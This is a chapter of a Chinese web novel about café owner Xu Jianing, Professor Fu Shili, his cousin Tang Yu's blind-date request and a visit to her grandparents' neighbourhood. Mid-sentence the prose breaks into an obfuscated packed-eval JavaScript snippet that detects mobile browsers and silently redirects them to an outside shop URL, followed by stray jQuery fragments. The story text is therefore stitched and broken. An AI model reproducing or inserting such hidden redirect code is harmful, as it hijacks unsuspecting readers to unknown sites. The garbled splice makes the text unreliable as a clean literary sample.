8. 傅教授
    已经回到咖啡吧许久,许嘉柠仍旧不能平静,刚刚她是一口气跑回了图书馆,如果大学体测时有这样的速度,她一定不会沦落到要补考的地步。

    傅时礼转身过来时,明显有错愕的神色,虽然很短的时间便消失了,但很确定,刚刚那句话不是说给她的。

    而且,许嘉柠当时说完了一句,又默默低语了一句:“答应别人的事情就要说到做到,爽约的人一点也不可爱。”

    她说的很轻,原意是说给自己听的,但办公室很安静,楼道也很安静,许嘉柠低声的埋怨还是传到了傅时礼耳朵里。

    他目光落在她身上,眉毛轻挑,仍旧是环胸的姿势,但是一言不发的样子,让许嘉柠更是不知所措,

    “傅教授,没事我先走了。”

    许嘉柠丢下话转身往外走,刚走没几步才想起她兴冲冲跑过来其实是找傅时礼,问他奶茶喝什么。

    于是在走廊做了半分钟心里建设后,她假装无事发生一样掉转身回去。

    门还开着,傅时礼也还站在原来的地方,只是侧了个身,见她回来,才又正身面向她,目光柔和了一些。

    “傅教授,谢扬说你请大家喝奶茶,他让我帮忙问问你喝什么。”许嘉柠脸上挤出尽量自然的笑容,微笑着问。

    傅时礼唇角不易察觉地勾了勾,谢扬确实问了,他已经短信回复过了。

    然而面对许嘉柠,他又不厌其烦地回答一遍:

    “晚上喝咖啡,对睡眠不太友好。”

    傅时礼的拒绝虽很委婉,许嘉柠还是有些难过,她嘟着嘴发出一个“喔”的声音,又过了会儿,她才低着头,两个手指纠缠在一起,用比刚才还小的声音,

    “你是不是也觉得我做的咖啡不好喝。”

    上次,唐屿特意打电话和她争个输赢,傅时礼亲口说的不好喝。

    往常见了一脸明媚的小姑娘,此刻看起来满面委屈,傅时礼觉得自己像是个坏人。

    他离办公桌很近,笔筒里的卡片早上拿笔时被放在了最外侧,很醒目。

    傅时礼换了个站姿,双手向后撑在窗台边沿,慢悠悠开口:“上次,你送我一张卡片,有……”

    有机会,我亲自去你店里试试新品咖啡。

    他后半句话未说完,许嘉柠着急地打断,较真的模样又带了些可爱,“今天可不许用那张卡片,那张卡片只能你用,不可以请别人用。”

    她心里十分清楚,卡片上一共6杯,他们社团刚好六人。

    一次性用完了,她又少了个和傅时礼有交集的机会,即便被说咖啡不好喝,她也有改进空间,许嘉柠才不允许他就这样浪费。

    “对不起,我打断了你的讲话,你继续。”许嘉柠表达完自己的想法,才察觉刚刚自己着急打断别人,有些许莽撞,又立刻道歉。

    “没关系。”傅时礼回复的语气很淡,轻飘飘的。

    他表情并不丰富,许嘉柠很难看出他此刻的心情,但她自己内心却是一团乱。

    越想好好表现,反倒表现的一团糟,没关系三个字在她看来,也很勉强。

    纠结了半分钟,许嘉柠妥协:“好吧,那让你用。”

    “谢谢许同学破例,但我还是遵守规则,以免成为不可爱的人。”

    卡片上写了每次仅可使用一个格子,傅时礼知道规则,他倒是也并未想过用这张卡片,只是看她紧张的样子,不免调侃了一句。

    许嘉柠听到他不打算用卡片时,如同被乌云笼罩许久的大地,突然拨云见日,她脸上瞬时绽放了明朗的笑容,

    “傅教授,你真是个好人。”

    和傅时礼不同,许嘉柠所有的情绪都写在脸上,简单而又直白。

    比如,上一刻还是阳光灿烂,下一刻风雨来袭,满脸窘迫。

    她准备和傅时礼告别时,唐屿来了。

    “吆,这不是许老板吗,您这大忙人不是在招待贵客,怎么在这儿呢?”唐屿言语之中充满嘲讽的味道。

    来这之前,他特意给许嘉柠打了个电话,让许嘉柠提前给他做一份果茶。

    停车场路过图书馆,许嘉柠当时想也没多想便拒绝了他,回复唐屿的是今天有贵客招待,没空外送,让他去店里自取。

    许嘉柠挤出一抹尴尬的笑容,点头跟两位告别,她打算逃。

    谁知唐屿早看出了她的本意,压根没打算放过她,“还是说你今天招待的贵客是我们傅教授。”

    安静的楼道里只剩运动鞋落地的哒哒声,声音由近及远慢慢消失。

    “你们什么情况,咖啡店老板怎么看你脸都红了。”唐屿进屋关门。

    “人家有姓名。”傅时礼提醒道,“这么晚过来,又是什么事?”

    “我爸安排了我周末去相亲,哥,你替我想想办法。”

    唐屿比傅时礼小2岁,从小到大,只要他开口叫哥,那一定是闯了祸需要傅时礼帮他解决。

    傅时礼并不理会,鼠标翻滚着电脑上已经打开的前沿论文,教学楼隔音效果没那么好,网球社的活动已经结束,一行人有说有笑的往回走,还有人在唱歌。

    “哥,你帮我去会会,对方女孩儿很文静,剑桥的,你们名校毕业的有共同话题。”唐屿靠近傅时礼的办公椅撒娇,“我这种学渣和人家气场不和。”

    “不去。”傅时礼推了推靠在他办公椅上的唐屿,拒绝得很果断。

    “哥……”唐屿尾音拉长,使出杀手锏。

    “也不是第一次相亲,这次是为什么。”傅时礼一边在论文上做着标注一边问,“不说,我不帮。”

    唐屿扭捏了半天,才吞吞吐吐开口:“以前初中同学,有次骑车摔沟里被她看到了。”

    “周末有事,去不了。”傅时礼再度拒绝。

    -

    田爽虽然不喜欢运动,但是她对分数有天然高的要求,所以当时修网球课时格外认真,加上课后的加练,最终期末体育考试98分。

    谢扬平时大都和男生打,和女生打的少,今日和田爽对战一场,发现她除了体力弱一些以外,动作都很专业。

    他打得酣畅淋漓,田爽被累得够呛但是一声没喊辛苦,中途换球时,谢扬察觉到她体力不支,于是主动叫停了比赛。

    今日比平

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747496|145340||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时活动结束的提前,许嘉柠的奶茶还没送过来,他们干脆去了咖啡吧集合,领了奶茶好各自回宿舍。

    “嘉柠学姐,钱收一下,傅教授拖我转我的。”谢扬拿了奶茶准备走人时提醒了一句。

    “多了一杯的钱。”许嘉柠收了红包后才发现数目不对,她冲着的谢扬喊了声。

    “那你退给傅教授吧,我把他名片推给你。”谢扬打完球一身汗,着急回宿舍洗澡,也顾不得这些细节。

    许嘉柠并未想到,谢扬推给她的是一条带有个人名片的短信,备注内容是傅教授不用微信。

    ???

    许嘉柠往回翻了翻收件箱,垃圾短信和各类软件的通知短信占满了屏幕,她随手删掉了一些,后面的垃圾短信还在往上涌,她索性放弃。

    她想给傅时礼发条信息,但想了半天也不知道说什么,好几年不用短信,这种沟通方式显得有些隆重。

    不过是一杯奶茶的钱,似乎不必如此大费周章,许嘉柠最终并未联系,谢扬发来的个人名片安静地躺在了短信箱里。

    她将退款转给了谢扬,他见傅时礼的机会应该比自己多。

    周末,赵卉难得没事,许嘉柠给自己放了开学以来第一个假,一直睡到早上九点多,父亲的电话吵醒了她。

    中秋将近,父母忙,许嘉柠便担负起了给爷爷奶奶外公外婆送节礼的任务。

    前一晚许父叮嘱过,许嘉柠记得,第二日许父又不放心她的午餐,干脆赶在午饭点前叫醒了女儿,送了节礼顺带可以在爷爷家解决了中午饭。

    许嘉柠慢悠悠的起床整理好,拎着客厅里早已摆放好的礼品。

    爷爷奶奶家在老城区,距离许嘉柠家算不上远,但南平巷巷子窄,车位少,平时行人又多,停车极其不方便,许嘉柠考虑到技术问题,还是选择了打车前往。

    出租车停在巷子的路口处,许嘉柠拎着四五个礼品盒往里走,巷子口的桂花树散发着秋日的清香,两侧的店铺铺满了生活的气息。

    每次往这里来,许嘉柠总有种岁月静好的舒适感,她在这里生活了十三年,一直到父母搬去园区后来换了平层,居住环境越来越好,人气也越来越淡。

    第一个十字路口,右拐,许嘉柠进了南林苑,门口的保安大爷认识她,看她拎着盒子,甚至还问了句要不要帮忙。

    爷爷家的房子并不大,是两层式建筑,一楼带小花园,里面是客厅加厨房,二楼是卧室。

    还不到饭点,许嘉柠敲了敲门,里面没人应,她将手里的盒子放在门口,正准备打电话时,隔壁的杨大爷路过,“柠柠过来看老爷子啊,你爷爷在中央花园给人问诊呢,去那儿找找。”

    “杨爷爷,啊身体还硬朗的哇。”许嘉柠讲着方言跟杨老爷子搭话。

    闲聊了几句,往中央花园走去。如今小区里只剩老人,年轻人都渐渐搬离了,以前一楼的大门家家户户都敞开着,现在都锁上了。

    许嘉柠边走边无聊地四处看着,而一扇开着的门内吸引了她的目光。

    那熟悉的身影站在院子里往楼上看,和那日站在窗前的人别无二致。